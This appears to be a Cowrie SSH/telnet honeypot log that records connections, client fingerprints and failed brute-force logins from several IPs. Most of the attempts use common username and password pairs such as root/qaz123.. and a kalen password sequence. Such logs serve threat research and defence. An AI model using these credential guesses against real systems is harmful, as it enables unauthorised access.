{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:29:32.190600Z","src_ip":"118.193.33.42","session":"0ca354f04d4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdf","message":"login attempt [deploy/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:29:33.131985Z","src_ip":"118.193.33.42","session":"0ca354f04d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:29:34.378435Z","src_ip":"118.193.33.42","session":"0ca354f04d4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":45822,"dst_ip":"10.17.0.5","dst_port":22,"session":"a29f1ce08366","protocol":"ssh","message":"New connection: 152.244.206.148:45822 (10.17.0.5:22) [session: a29f1ce08366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:22.137342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:22.142992Z","src_ip":"152.244.206.148","session":"a29f1ce08366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:22.285002Z","src_ip":"152.244.206.148","session":"a29f1ce08366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123..","message":"login attempt [root/qaz123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:22.873103Z","src_ip":"152.244.206.148","session":"a29f1ce08366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:24.016798Z","src_ip":"152.244.206.148","session":"a29f1ce08366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":56524,"dst_ip":"159.203.135.109","dst_port":22,"session":"757d8141c7a9","protocol":"ssh","message":"New connection: 118.193.33.42:56524 (159.203.135.109:22) [session: 757d8141c7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:42.650277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:42.809662Z","src_ip":"118.193.33.42","session":"757d8141c7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:43.027991Z","src_ip":"118.193.33.42","session":"757d8141c7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer1234!@#$","message":"login attempt [ubuntu/Qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:43.936892Z","src_ip":"118.193.33.42","session":"757d8141c7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:30:45.239778Z","src_ip":"118.193.33.42","session":"757d8141c7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":37977,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2788c189d58","protocol":"ssh","message":"New connection: 213.209.159.159:37977 (10.17.0.5:22) [session: c2788c189d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:21.747743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:21.753575Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:21.835968Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen","message":"login attempt [kalen/kalen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:22.234345Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen1","message":"login attempt [kalen/kalen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:23.319544Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen123","message":"login attempt [kalen/kalen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:24.404014Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen1234","message":"login attempt [kalen/kalen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:25.488093Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kalen","password":"kalen12345","message":"login attempt [kalen/kalen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:26.575747Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:27.660653Z","src_ip":"213.209.159.159","session":"c2788c189d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":19352,"dst_ip":"159.203.135.109","dst_port":22,"session":"017c03f614d3","protocol":"ssh","message":"New connection: 118.193.33.42:19352 (159.203.135.109:22) [session: 017c03f614d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:56.054263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:56.069535Z","src_ip":"118.193.33.42","session":"017c03f614d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:56.303138Z","src_ip":"118.193.33.42","session":"017c03f614d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"qwerty","message":"login attempt [sshuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:57.233488Z","src_ip":"118.193.33.42","session":"017c03f614d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:31:58.472206Z","src_ip":"118.193.33.42","session":"017c03f614d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":37174,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fad5a1f9237","protocol":"ssh","message":"New connection: 118.193.33.42:37174 (159.203.135.109:22) [session: 9fad5a1f9237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:33:04.540612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:33:04.545942Z","src_ip":"118.193.33.42","session":"9fad5a1f9237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:33:04.788805Z","src_ip":"118.193.33.42","session":"9fad5a1f9237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123..","message":"login attempt [admin/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:33:05.713982Z","src_ip":"118.193.33.42","session":"9fad5a1f9237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:33:06.938331Z","src_ip":"118.193.33.42","session":"9fad5a1f9237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":43420,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c3a0b38a1d","protocol":"ssh","message":"New connection: 152.244.206.148:43420 (10.17.0.5:22) [session: 69c3a0b38a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:12.405952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:12.410117Z","src_ip":"152.244.206.148","session":"69c3a0b38a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:12.548013Z","src_ip":"152.244.206.148","session":"69c3a0b38a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"654321","message":"login attempt [dev/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:13.124310Z","src_ip":"152.244.206.148","session":"69c3a0b38a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:14.261889Z","src_ip":"152.244.206.148","session":"69c3a0b38a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":54998,"dst_ip":"159.203.135.109","dst_port":22,"session":"70b67ed55f89","protocol":"ssh","message":"New connection: 118.193.33.42:54998 (159.203.135.109:22) [session: 70b67ed55f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:15.367253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:15.370986Z","src_ip":"118.193.33.42","session":"70b67ed55f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:15.591018Z","src_ip":"118.193.33.42","session":"70b67ed55f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"youcef","message":"login attempt [admin/youcef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:16.533726Z","src_ip":"118.193.33.42","session":"70b67ed55f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:17.758574Z","src_ip":"118.193.33.42","session":"70b67ed55f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.215","src_port":63054,"dst_ip":"10.17.0.5","dst_port":23,"session":"db658cd1c958","protocol":"telnet","message":"New connection: 198.235.24.215:63054 (10.17.0.5:23) [session: db658cd1c958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:40.270825Z"}
{"eventid":"cowrie.session.closed","duration":9.897372007369995,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:34:50.168091Z","src_ip":"198.235.24.215","session":"db658cd1c958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":17818,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0dad79f5ebd","protocol":"ssh","message":"New connection: 118.193.33.42:17818 (159.203.135.109:22) [session: c0dad79f5ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:35:22.530977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:35:22.535189Z","src_ip":"118.193.33.42","session":"c0dad79f5ebd","protocol":"ssh"}
